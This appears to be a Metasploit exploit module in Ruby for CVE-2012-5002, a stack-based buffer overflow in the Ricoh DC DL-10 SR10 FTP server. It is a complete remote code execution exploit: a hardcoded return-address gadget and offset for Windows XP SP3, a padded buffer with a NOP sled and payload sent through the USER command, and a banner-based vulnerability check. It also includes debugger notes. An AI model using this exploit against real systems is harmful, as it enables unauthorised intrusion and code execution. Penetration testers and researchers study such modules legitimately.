123 lines
3.5 KiB
Ruby
123 lines
3.5 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::Ftp
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Ricoh DC DL-10 SR10 FTP USER Command Buffer Overflow",
|
|
'Description' => %q{
|
|
This module exploits a vulnerability found in Ricoh DC's DL-10 SR10 FTP
|
|
service. By supplying a long string of data to the USER command, it is
|
|
possible to trigger a stack-based buffer overflow, which allows remote code
|
|
execution under the context of the user.
|
|
|
|
Please note that in order to trigger the vulnerability, the server must
|
|
be configured with a log file name (by default, it's disabled).
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Julien Ahrens', #Discovery, PoC
|
|
'sinn3r' #Metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2012-5002'],
|
|
['OSVDB', '79691'],
|
|
['URL', 'http://secunia.com/advisories/47912'],
|
|
['URL', 'http://www.inshell.net/2012/03/ricoh-dc-software-dl-10-ftp-server-sr10-exe-remote-buffer-overflow-vulnerability/']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
# Yup, no badchars
|
|
'BadChars' => "\x00",
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => "process",
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Windows XP SP3',
|
|
{
|
|
'Ret' => 0x77c35459, #PUSH ESP; RETN (msvcrt.dll)
|
|
'Offset' => 245
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Mar 1 2012",
|
|
'DefaultTarget' => 0))
|
|
|
|
# We're triggering the bug via the USER command, no point to have user/pass
|
|
# as configurable options.
|
|
deregister_options('FTPPASS', 'FTPUSER')
|
|
end
|
|
|
|
def check
|
|
connect
|
|
disconnect
|
|
if banner =~ /220 DSC ftpd 1\.0 FTP Server/
|
|
return Exploit::CheckCode::Detected
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
buf = ''
|
|
buf << rand_text_alpha(target['Offset'], payload_badchars)
|
|
buf << [target.ret].pack('V')
|
|
buf << make_nops(20)
|
|
buf << payload.encoded
|
|
|
|
print_status("#{rhost}:#{rport} - Sending #{self.name}")
|
|
connect
|
|
send_user(buf)
|
|
handler
|
|
disconnect
|
|
end
|
|
end
|
|
|
|
=begin
|
|
0:002> lmv m SR10
|
|
start end module name
|
|
00400000 00410000 SR10 (deferred)
|
|
Image path: C:\Program Files\DC Software\SR10.exe
|
|
Image name: SR10.exe
|
|
Timestamp: Mon May 19 23:55:32 2008 (483275E4)
|
|
CheckSum: 00000000
|
|
ImageSize: 00010000
|
|
File version: 1.0.0.520
|
|
Product version: 1.0.0.0
|
|
File flags: 0 (Mask 3F)
|
|
File OS: 4 Unknown Win32
|
|
File type: 1.0 App
|
|
File date: 00000000.00000000
|
|
Translations: 0409.04b0
|
|
CompanyName: Ricoh Co.,Ltd.
|
|
ProductName: SR-10
|
|
InternalName: SR-10
|
|
OriginalFilename: SR10.EXE
|
|
ProductVersion: 1, 0, 0, 0
|
|
FileVersion: 1, 0, 0, 520
|
|
PrivateBuild: 1, 0, 0, 520
|
|
SpecialBuild: 1, 0, 0, 520
|
|
FileDescription: SR-10
|
|
|
|
|
|
Note: No other DC Software dlls are loaded when SR-10.exe is running, so the most
|
|
stable component we can use is msvcrt.dll for now.
|
|
=end
|
|
|